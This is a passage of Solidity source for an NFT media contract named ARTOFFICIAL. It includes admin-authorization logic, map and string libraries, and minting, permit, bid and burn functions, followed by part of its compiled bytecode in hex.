bool) public authorized; mapping(address => bool) public addAuthorizedAddress; address[] public adminList; event AddAuthorized(address indexed _address); event AcceptOwnership(address indexed _address); event RemoveAuthorized(address indexed _address, uint index); modifier onlyAuthorized() { require(authorized[msg.sender] || _owner == msg.sender,"Authorizable: caller is not the SuperAdmin or Admin"); _; } function addAuthorized(address _toAdd) onlyOwner public { require(_toAdd != address(0),"is not a vaild address"); addAuthorizedAddress[_toAdd] = true; emit AddAuthorized(_toAdd); } function acceptOwnership() public { require(addAuthorizedAddress[msg.sender],"Authorizable:Only authorized owner"); authorized[msg.sender] = true; adminList.push(msg.sender); emit AcceptOwnership(msg.sender); } function removeAuthorized(address _toRemove,uint _index) onlyOwner public { require(_toRemove != address(0),"is not a vaild address"); require(_toRemove != msg.sender); require(adminList[_index] == _toRemove,"not a valid index"); addAuthorizedAddress[_toRemove] = false; authorized[_toRemove] = false; delete adminList[_index]; emit RemoveAuthorized(_toRemove,_index); } function getAdminList() public view returns(address[] memory ){ return adminList; } } library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } contract Media is IMedia, ERC721Burnable, ReentrancyGuard,Authorizable { using Counters for Counters.Counter; using SafeMath for uint256; /* ******* * Globals * ******* */ address public treasurerAddress; // Address for the market address public marketContract; // Mapping from token to previous owner of the token mapping(uint256 => address) public previousTokenOwners; // Mapping from token id to creator address mapping(uint256 => address) public tokenCreators; // Mapping from creator address to their (enumerable) set of created tokens mapping(address => EnumerableSet.UintSet) private _creatorTokens; // Mapping from token id to sha256 hash of content mapping(uint256 => bytes32) public tokenContentHashes; // Mapping from token id to sha256 hash of metadata mapping(uint256 => bytes32) public tokenMetadataHashes; // Mapping from token id to metadataURI mapping(uint256 => string) private _tokenMetadataURIs; // Mapping from contentHash to bool mapping(bytes32 => bool) private _contentHashes; //keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad; //keccak256("MintWithSig(bytes32 contentHash,bytes32 metadataHash,uint256 creatorShare,uint256 nonce,uint256 deadline)"); bytes32 public constant MINT_WITH_SIG_TYPEHASH = 0x2952e482b8e2b192305f87374d7af45dc2eafafe4f50d26a0c02e90f2fdbe14b; // Mapping from address to token id to permit nonce mapping(address => mapping(uint256 => uint256)) public permitNonces; // Mapping from address to mint with sig nonce mapping(address => uint256) public mintWithSigNonces; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * bytes4(keccak256('tokenMetadataURI(uint256)')) == 0x157c3df9 * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd ^ 0x157c3df9 == 0x4e222e66 */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x4e222e66; Counters.Counter private _tokenIdTracker; /* ********* * Modifiers * ********* */ /** * @notice Require that the token has not been burned and has been minted */ modifier onlyExistingToken(uint256 tokenId) { require(_exists(tokenId), "Media: nonexistent token"); _; } /** * @notice Require that the token has had a content hash set */ modifier onlyTokenWithContentHash(uint256 tokenId) { require( tokenContentHashes[tokenId] != 0, "Media: token does not have hash of created content" ); _; } /** * @notice Require that the token has had a metadata hash set */ modifier onlyTokenWithMetadataHash(uint256 tokenId) { require( tokenMetadataHashes[tokenId] != 0, "Media: token does not have hash of its metadata" ); _; } /** * @notice Ensure that the provided spender is the approved or the owner of * the media for the specified tokenId */ modifier onlyApprovedOrOwner(address spender, uint256 tokenId) { require( _isApprovedOrOwner(spender, tokenId), "Media: Only approved or owner" ); _; } /** * @notice Ensure the token has been created (even if it has been burned) */ modifier onlyTokenCreated(uint256 tokenId) { require( _tokenIdTracker.current() > tokenId, "Media: token with that id does not exist" ); _; } /** * @notice Ensure that the provided URI is not empty */ modifier onlyValidURI(string memory uri) { require( bytes(uri).length != 0, "Media: specified uri must be non-empty" ); _; } /** * @notice On deployment, set the market contract address and register the * ERC721 metadata interface */ constructor(address marketContractAddr) public ERC721("ARTOFFICIAL", "ARTO") { marketContract = marketContractAddr; _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /* ************** * View Functions * ************** */ /** * @notice return the URI for a particular piece of media with the specified tokenId * @dev This function is an override of the base OZ implementation because we * will return the tokenURI even if the media has been burned. In addition, this * protocol does not support a base URI, so relevant conditionals are removed. * @return the URI for a token */ function tokenURI(uint256 tokenId) public view override onlyTokenCreated(tokenId) returns (string memory) { string memory _tokenURI = _tokenURIs[tokenId]; return _tokenURI; } /** * @notice Return the metadata URI for a piece of media given the token URI * @return the metadata URI for the token */ function tokenMetadataURI(uint256 tokenId) external view override onlyTokenCreated(tokenId) returns (string memory) { return _tokenMetadataURIs[tokenId]; } function getTreasurerAddress() public override view returns(address){ return treasurerAddress; } /** * @return the address of the owner. */ function owner() public override view returns(address) { return _owner; } function authorize(address _address) public override view returns(bool){ return authorized[_address]; } /* **************** * Public Functions * **************** */ function configureRewardAddress(address _treasurerAddress) public onlyOwner { require(_treasurerAddress != address(0), "not a valid address"); treasurerAddress = _treasurerAddress; } function transferToken( address to, uint256 tokenId ) public onlyOwner onlyTokenCreated(tokenId) { address from = ownerOf(tokenId); require( owner() == to || authorized[to], "not a valid owner address" ); require( authorized[from], "not a valid owner address" ); super._transfer(from, to, tokenId); } /** * @notice see IMedia */ function mint(MediaData memory data, IMarket.BidShares memory bidShares) public onlyAuthorized override nonReentrant { _mintForCreator(msg.sender, data, bidShares); } /** * @notice see IMedia */ function mintWithSig( address creator, MediaData memory data, IMarket.BidShares memory bidShares, EIP712Signature memory sig ) public override nonReentrant { require( sig.deadline == 0 || sig.deadline >= block.timestamp, "Media: mintWithSig expired" ); bytes32 domainSeparator = _calculateDomainSeparator(); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, keccak256( abi.encode( MINT_WITH_SIG_TYPEHASH, data.contentHash, data.metadataHash, bidShares.creator.value, mintWithSigNonces[creator]++, sig.deadline ) ) ) ); address recoveredAddress = ecrecover(digest, sig.v, sig.r, sig.s); require( recoveredAddress != address(0) && creator == recoveredAddress && (owner() == recoveredAddress || authorized[recoveredAddress]), "Media: Signature invalid" ); _mintForCreator(recoveredAddress, data, bidShares); } /** * @notice see IMedia */ function auctionTransfer(uint256 tokenId, address recipient) external override { require(msg.sender == marketContract, "Media: only market contract"); previousTokenOwners[tokenId] = ownerOf(tokenId); _safeTransfer(ownerOf(tokenId), recipient, tokenId, ""); } /** * @notice see IMedia */ function setAsk(uint256 tokenId, IMarket.Ask memory ask) public override nonReentrant onlyApprovedOrOwner(msg.sender, tokenId) { IMarket(marketContract).setAsk(tokenId, ask); } /** * @notice see IMedia */ function removeAsk(uint256 tokenId) external override nonReentrant onlyApprovedOrOwner(msg.sender, tokenId) { IMarket(marketContract).removeAsk(tokenId); } /** * @notice see IMedia */ function setBid(uint256 tokenId, IMarket.Bid memory bid) public override nonReentrant onlyExistingToken(tokenId) { require(msg.sender == bid.bidder, "Market: Bidder must be msg sender"); IMarket(marketContract).setBid(tokenId, bid, msg.sender); } /** * @notice see IMedia */ function removeBid(uint256 tokenId) external override nonReentrant onlyTokenCreated(tokenId) { IMarket(marketContract).removeBid(tokenId, msg.sender); } /** * @notice see IMedia */ function acceptBid(uint256 tokenId, IMarket.Bid memory bid) public override nonReentrant onlyApprovedOrOwner(msg.sender, tokenId) { IMarket(marketContract).acceptBid(tokenId, bid); } /** * @notice Burn a token. * @dev Only callable if the media owner is also the creator. */ function burn(uint256 tokenId) public override nonReentrant onlyExistingToken(tokenId) onlyApprovedOrOwner(msg.sender, tokenId) { //address owner = ownerOf(tokenId); //require( // tokenCreators[tokenId] == owner, // "Media: owner is not creator of media" //); _burn(tokenId); } /** * @notice Revoke the approvals for a token. The provided `approve` function is not sufficient * for this protocol, as it does not allow an approved address to revoke it's own approval. * In instances where a 3rd party is interacting on a user's behalf via `permit`, they should * revoke their approval once their task is complete as a best practice. */ function revokeApproval(uint256 tokenId) external override nonReentrant { require( msg.sender == getApproved(tokenId), "Media: caller not approved address" ); _approve(address(0), tokenId); } /** * @notice see IMedia * @dev only callable by approved or owner */ function updateTokenURI(uint256 tokenId, string calldata tokenURI) external override nonReentrant onlyApprovedOrOwner(msg.sender, tokenId) onlyTokenWithContentHash(tokenId) onlyValidURI(tokenURI) { _setTokenURI(tokenId, tokenURI); emit TokenURIUpdated(tokenId, msg.sender, tokenURI); } /** * @notice see IMedia * @dev only callable by approved or owner */ function updateTokenMetadataURI( uint256 tokenId, string calldata metadataURI ) external override nonReentrant onlyApprovedOrOwner(msg.sender, tokenId) onlyTokenWithMetadataHash(tokenId) onlyValidURI(metadataURI) { _setTokenMetadataURI(tokenId, metadataURI); emit TokenMetadataURIUpdated(tokenId, msg.sender, metadataURI); } /** * @notice See IMedia * @dev This method is loosely based on the permit for ERC-20 tokens in EIP-2612, but modified * for ERC-721. */ function permit( address spender, uint256 tokenId, EIP712Signature memory sig ) public override nonReentrant onlyExistingToken(tokenId) { require( sig.deadline == 0 || sig.deadline >= block.timestamp, "Media: Permit expired" ); require(spender != address(0), "Media: spender cannot be 0x0"); bytes32 domainSeparator = _calculateDomainSeparator(); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, keccak256( abi.encode( PERMIT_TYPEHASH, spender, tokenId, permitNonces[ownerOf(tokenId)][tokenId]++, sig.deadline ) ) ) ); address recoveredAddress = ecrecover(digest, sig.v, sig.r, sig.s); require( recoveredAddress != address(0) && ownerOf(tokenId) == recoveredAddress, "Media: Signature invalid" ); _approve(spender, tokenId); } /* ***************** * Private Functions * ***************** */ /** * @notice Creates a new token for `creator`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * URI autogenerated based on the base URI passed at construction. * * See {ERC721-_safeMint}. * * On mint, also set the sha256 hashes of the content and its metadata for integrity * checks, along with the initial URIs to point to the content and metadata. Attribute * the token ID to the creator, mark the content hash as used, and set the bid shares for * the media's market. * * Note that although the content hash must be unique for future mints to prevent duplicate media, * metadata has no such requirement. */ function _mintForCreator( address creator, MediaData memory data, IMarket.BidShares memory bidShares ) internal onlyValidURI(data.tokenURI) onlyValidURI(data.metadataURI) { require(data.contentHash != 0, "Media: content hash must be non-zero"); require( _contentHashes[data.contentHash] == false, "Media: a token has already been created with this content hash" ); require( data.metadataHash != 0, "Media: metadata hash must be non-zero" ); uint256 tokenId = _tokenIdTracker.current(); _safeMint(creator, tokenId); _tokenIdTracker.increment(); _setTokenContentHash(tokenId, data.contentHash); _setTokenMetadataHash(tokenId, data.metadataHash); _setTokenMetadataURI(tokenId, data.metadataURI); _setTokenURI(tokenId, data.tokenURI); _creatorTokens[creator].add(tokenId); _contentHashes[data.contentHash] = true; tokenCreators[tokenId] = creator; previousTokenOwners[tokenId] = creator; IMarket(marketContract).setBidShares(tokenId, bidShares); } function _setTokenContentHash(uint256 tokenId, bytes32 contentHash) internal virtual onlyExistingToken(tokenId) { tokenContentHashes[tokenId] = contentHash; } function _setTokenMetadataHash(uint256 tokenId, bytes32 metadataHash) internal virtual onlyExistingToken(tokenId) { tokenMetadataHashes[tokenId] = metadataHash; } function _setTokenMetadataURI(uint256 tokenId, string memory metadataURI) internal virtual onlyExistingToken(tokenId) { _tokenMetadataURIs[tokenId] = metadataURI; } /** * @notice Destroys `tokenId`. * @dev We modify the OZ _burn implementation to * maintain metadata and to remove the * previous token owner from the piece */ function _burn(uint256 tokenId) internal override { string memory tokenURI = _tokenURIs[tokenId]; super._burn(tokenId); if (bytes(tokenURI).length != 0) { _tokenURIs[tokenId] = tokenURI; } delete previousTokenOwners[tokenId]; } /** * @notice transfer a token and remove the ask for it. */ function _transfer( address from, address to, uint256 tokenId ) internal override { IMarket(marketContract).removeAsk(tokenId); super._transfer(from, to, tokenId); } /** * @dev Calculates EIP712 DOMAIN_SEPARATOR based on the current contract and chain ID. */ function _calculateDomainSeparator() internal view returns (bytes32) { uint256 chainID; /* solium-disable-next-line */ assembly { chainID := chainid() } return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes("Arto")), keccak256(bytes("1")), chainID, address(this) ) ); } }
0x608060405234801561001057600080fd5b50600436106103835760003560e01c806370a08231116101de578063b320f4591161010f578063d9f774fc116100ad578063f2fde38b1161007c578063f2fde38b1461071e578063f6b630f014610731578063f8ccd5de14610744578063fad321971461075757610383565b8063d9f774fc146106db578063de5236fb146106f0578063e0fd045f146106f8578063e985e9c51461070b57610383565b8063b9181611116100e9578063b91816111461068f578063ba339399146106a2578063c87b56dd146106b5578063cf1c316a146106c857610383565b8063b320f45914610656578063b6a5d7de14610669578063b88d4fde1461067c57610383565b806395d89b411161017c578063a1e622f211610156578063a1e622f214610615578063a22cb46514610628578063b1e130fc1461063b578063b2bdfa7b1461064e57610383565b806395d89b41146105f25780639d8e7260146105fa578063a1794bcd1461060d57610383565b806379ba5097116101b857806379ba5097146105c75780637a7a1202146105cf5780638da5cb5b146105e25780638f32d59b146105ea57610383565b806370a0823114610599578063715018a6146105ac57806375682e79146105b457610383565b80632cca3237116102b85780635bf6242211610256578063676b2b6811610230578063676b2b681461056e5780636a368973146105765780636b34a45a146105895780636c0360eb1461059157610383565b80635bf624221461053557806362f24b70146105485780636352211e1461055b57610383565b806342842e0e1161029257806342842e0e146104e957806342966c68146104fc57806342f1181e1461050f5780634f6ccce71461052257610383565b80632cca3237146104bb5780632f745c59146104ce57806330adf81f146104e157610383565b80631072cbea1161032557806318160ddd116102ff57806318160ddd1461047a57806318e97fd11461048257806323b872dd1461049557806328220f35146104a857610383565b80631072cbea1461044157806311117fc814610454578063157c3df91461046757610383565b8063081812fc11610361578063081812fc146103e6578063095ea7b3146104065780630bcd899b1461041b5780630e2a17781461042e57610383565b806301ddc3b51461038857806301ffc9a7146103b157806306fdde03146103d1575b600080fd5b61039b610396366004613538565b61076a565b6040516103a8919061385b565b60405180910390f35b6103c46103bf3660046134bc565b61077c565b6040516103a89190613850565b6103d961079b565b6040516103a89190613902565b6103f96103f4366004613538565b610831565b6040516103a89190613772565b610419610414366004613454565b61087d565b005b61039b6104293660046132b1565b610915565b61041961043c36600461347e565b610927565b61041961044f366004613454565b610b4b565b6103f9610462366004613538565b610c49565b6103d9610475366004613538565b610c70565b61039b610d3b565b610419610490366004613573565b610d4c565b6104196104a3366004613300565b610eab565b6104196104b6366004613538565b610ee3565b6104196104c93660046134f4565b610f91565b61039b6104dc366004613454565b611011565b61039b61103c565b6104196104f7366004613300565b611060565b61041961050a366004613538565b61107b565b6103c461051d3660046132b1565b611105565b61039b610530366004613538565b61111a565b610419610543366004613641565b611130565b6104196105563660046135ea565b6111e7565b6103f9610569366004613538565b6112a6565b6103f96112ce565b6104196105843660046132b1565b6112dd565b6103f9611349565b6103d9611358565b61039b6105a73660046132b1565b6113b9565b610419611402565b6104196105c2366004613573565b611470565b6104196115b9565b6104196105dd3660046133e3565b61166a565b6103f961186a565b6103c4611879565b6103d961188a565b6103f9610608366004613538565b6118eb565b6103f9611906565b610419610623366004613454565b611915565b6104196106363660046133a8565b611a61565b610419610649366004613538565b611b2f565b6103f9611ba3565b610419610664366004613538565b611bb2565b6103c46106773660046132b1565b611c70565b61041961068a366004613340565b611c8e565b6103c461069d3660046132b1565b611cc7565b6104196106b0366004613641565b611cdc565b6103d96106c3366004613538565b611d5e565b6104196106d63660046132b1565b611e2c565b6106e3611ec2565b6040516103a89190613803565b61039b611f23565b6103f9610706366004613538565b611f47565b6103c46107193660046132cc565b611f62565b61041961072c3660046132b1565b611f90565b61041961073f366004613550565b611fc0565b61039b610752366004613454565b612046565b61039b610765366004613538565b612063565b60156020526000908152604090205481565b6001600160e01b03191660009081526020819052604090205460ff1690565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108275780601f106107fc57610100808354040283529160200191610827565b820191906000526020600020905b81548152906001019060200180831161080a57829003601f168201915b5050505050905090565b600061083c82612075565b6108615760405162461bcd60e51b815260040161085890613f94565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610888826112a6565b9050806001600160a01b0316836001600160a01b031614156108bc5760405162461bcd60e51b815260040161085890614185565b806001600160a01b03166108ce612082565b6001600160a01b031614806108ea57506108ea81610719612082565b6109065760405162461bcd60e51b815260040161085890613db3565b6109108383612086565b505050565b60196020526000908152604090205481565b6002600a54141561094a5760405162461bcd60e51b81526004016108589061431e565b6002600a558161095981612075565b6109755760405162461bcd60e51b8152600401610858906142e7565b81511580610984575081514211155b6109a05760405162461bcd60e51b815260040161085890613e5a565b6001600160a01b0384166109c65760405162461bcd60e51b815260040161085890613ac0565b60006109d06120f4565b90506000817f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad8787601885610a04836112a6565b6001600160a01b03168152602080820192909252604090810160009081208c825283528190208054600181019091558a519151610a479695949391929101613864565b60405160208183030381529060405280519060200120604051602001610a6e929190613757565b604051602081830303815290604052805190602001209050600060018286602001518760400151886060015160405160008152602001604052604051610ab794939291906138e4565b6020604051602081039080840390855afa158015610ad9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590610b175750806001600160a01b0316610b0c876112a6565b6001600160a01b0316145b610b335760405162461bcd60e51b8152600401610858906142b0565b610b3d8787612086565b50506001600a555050505050565b610b53611879565b610b6f5760405162461bcd60e51b815260040161085890613957565b8080610b7b601a6121ba565b11610b985760405162461bcd60e51b81526004016108589061399c565b6000610ba3836112a6565b9050836001600160a01b0316610bb761186a565b6001600160a01b03161480610be457506001600160a01b0384166000908152600c602052604090205460ff165b610c005760405162461bcd60e51b8152600401610858906139e4565b6001600160a01b0381166000908152600c602052604090205460ff16610c385760405162461bcd60e51b8152600401610858906139e4565b610c438185856121be565b50505050565b600e8181548110610c5657fe5b6000918252602090912001546001600160a01b0316905081565b60608180610c7e601a6121ba565b11610c9b5760405162461bcd60e51b81526004016108589061399c565b60008381526016602090815260409182902080548351601f600260001961010060018616150201909316929092049182018490048402810184019094528084529091830182828015610d2e5780601f10610d0357610100808354040283529160200191610d2e565b820191906000526020600020905b815481529060010190602001808311610d1157829003601f168201915b5050505050915050919050565b6000610d4760026122cc565b905090565b6002600a541415610d6f5760405162461bcd60e51b81526004016108589061431e565b6002600a553383610d8082826122d7565b610d9c5760405162461bcd60e51b81526004016108589061402c565b6000858152601460205260409020548590610dc95760405162461bcd60e51b8152600401610858906140ee565b84848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050825115159150610e2190505760405162461bcd60e51b815260040161085890614355565b610e618787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061235c92505050565b867f702fe2dc2dc0f68023540aa4a1e11811c0f29112f6ebf01e61b90538e4f29810338888604051610e95939291906137c3565b60405180910390a250506001600a555050505050565b610ebc610eb6612082565b826122d7565b610ed85760405162461bcd60e51b815260040161085890614228565b6109108383836123a0565b6002600a541415610f065760405162461bcd60e51b81526004016108589061431e565b6002600a553381610f1782826122d7565b610f335760405162461bcd60e51b81526004016108589061402c565b6010546040516328220f3560e01b81526001600160a01b03909116906328220f3590610f6390869060040161385b565b600060405180830381600087803b158015610f7d57600080fd5b505af1158015610b3d573d6000803e3d6000fd5b336000908152600c602052604090205460ff1680610fb95750600b546001600160a01b031633145b610fd55760405162461bcd60e51b815260040161085890613a6d565b6002600a541415610ff85760405162461bcd60e51b81526004016108589061431e565b6002600a5561100833838361240d565b50506001600a55565b6001600160a01b038216600090815260016020526040812061103390836125fd565b90505b92915050565b7f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b61091083838360405180602001604052806000815250611c8e565b6002600a54141561109e5760405162461bcd60e51b81526004016108589061431e565b6002600a55806110ad81612075565b6110c95760405162461bcd60e51b8152600401610858906142e7565b33826110d582826122d7565b6110f15760405162461bcd60e51b81526004016108589061402c565b6110fa84612609565b50506001600a555050565b600d6020526000908152604090205460ff1681565b6000806111286002846126f5565b509392505050565b6002600a5414156111535760405162461bcd60e51b81526004016108589061431e565b6002600a558161116281612075565b61117e5760405162461bcd60e51b8152600401610858906142e7565b81604001516001600160a01b0316336001600160a01b0316146111b35760405162461bcd60e51b815260040161085890613b5b565b6010546040516317b6b0d360e31b81526001600160a01b039091169063bdb5869890610f6390869086903390600401614414565b6002600a54141561120a5760405162461bcd60e51b81526004016108589061431e565b6002600a55338261121b82826122d7565b6112375760405162461bcd60e51b81526004016108589061402c565b60105460405163062f24b760e41b81526001600160a01b03909116906362f24b709061126990879087906004016143b2565b600060405180830381600087803b15801561128357600080fd5b505af1158015611297573d6000803e3d6000fd5b50506001600a55505050505050565b6000611036826040518060600160405280602981526020016144f26029913960029190612711565b600f546001600160a01b031690565b6112e5611879565b6113015760405162461bcd60e51b815260040161085890613957565b6001600160a01b0381166113275760405162461bcd60e51b815260040161085890613af7565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b031681565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108275780601f106107fc57610100808354040283529160200191610827565b60006001600160a01b0382166113e15760405162461bcd60e51b815260040161085890613e10565b6001600160a01b0382166000908152600160205260409020611036906122cc565b61140a611879565b6114265760405162461bcd60e51b815260040161085890613957565b600b546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600b80546001600160a01b0319169055565b6002600a5414156114935760405162461bcd60e51b81526004016108589061431e565b6002600a5533836114a482826122d7565b6114c05760405162461bcd60e51b81526004016108589061402c565b60008581526015602052604090205485906114ed5760405162461bcd60e51b815260040161085890613cd4565b84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505082511515915061154590505760405162461bcd60e51b815260040161085890614355565b6115858787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061272892505050565b867fe3df41127db820c79e5b8d541a63e40e3e97b9af96f7a50bded13091b70df9ae338888604051610e95939291906137c3565b336000908152600d602052604090205460ff166115e85760405162461bcd60e51b815260040161085890614063565b336000818152600c6020526040808220805460ff19166001908117909155600e8054918201815583527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0180546001600160a01b03191684179055517f7f877120c72766f4eac00144c86c9e57ed52f31bac01ef5c4c223c4768a876739190a2565b6002600a54141561168d5760405162461bcd60e51b81526004016108589061431e565b6002600a55805115806116a1575080514211155b6116bd5760405162461bcd60e51b8152600401610858906141f1565b60006116c76120f4565b6040808601516060870151602080880151516001600160a01b038b166000908152601983528581208054600181019091558951965197985090968896611735967f2952e482b8e2b192305f87374d7af45dc2eafafe4f50d26a0c02e90f2fdbe14b96909590949392016138bc565b6040516020818303038152906040528051906020012060405160200161175c929190613757565b6040516020818303038152906040528051906020012090506000600182856020015186604001518760600151604051600081526020016040526040516117a594939291906138e4565b6020604051602081039080840390855afa1580156117c7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906117fd5750806001600160a01b0316876001600160a01b0316145b80156118435750806001600160a01b031661181661186a565b6001600160a01b0316148061184357506001600160a01b0381166000908152600c602052604090205460ff165b61185f5760405162461bcd60e51b8152600401610858906142b0565b610b3d81878761240d565b600b546001600160a01b031690565b600b546001600160a01b0316331490565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108275780601f106107fc57610100808354040283529160200191610827565b6011602052600090815260409020546001600160a01b031681565b6010546001600160a01b031681565b61191d611879565b6119395760405162461bcd60e51b815260040161085890613957565b6001600160a01b03821661195f5760405162461bcd60e51b815260040161085890613be7565b6001600160a01b03821633141561197557600080fd5b816001600160a01b0316600e828154811061198c57fe5b6000918252602090912001546001600160a01b0316146119be5760405162461bcd60e51b8152600401610858906141c6565b6001600160a01b0382166000908152600d60209081526040808320805460ff19908116909155600c90925290912080549091169055600e805482908110611a0157fe5b600091825260209091200180546001600160a01b03191690556040516001600160a01b038316907f4351fca1a489ee987699b3c49344da8a6c88963c20d8e6e1c0a9b9650b54115990611a5590849061385b565b60405180910390a25050565b611a69612082565b6001600160a01b0316826001600160a01b03161415611a9a5760405162461bcd60e51b815260040161085890613c9d565b8060056000611aa7612082565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611aeb612082565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611b239190613850565b60405180910390a35050565b6002600a541415611b525760405162461bcd60e51b8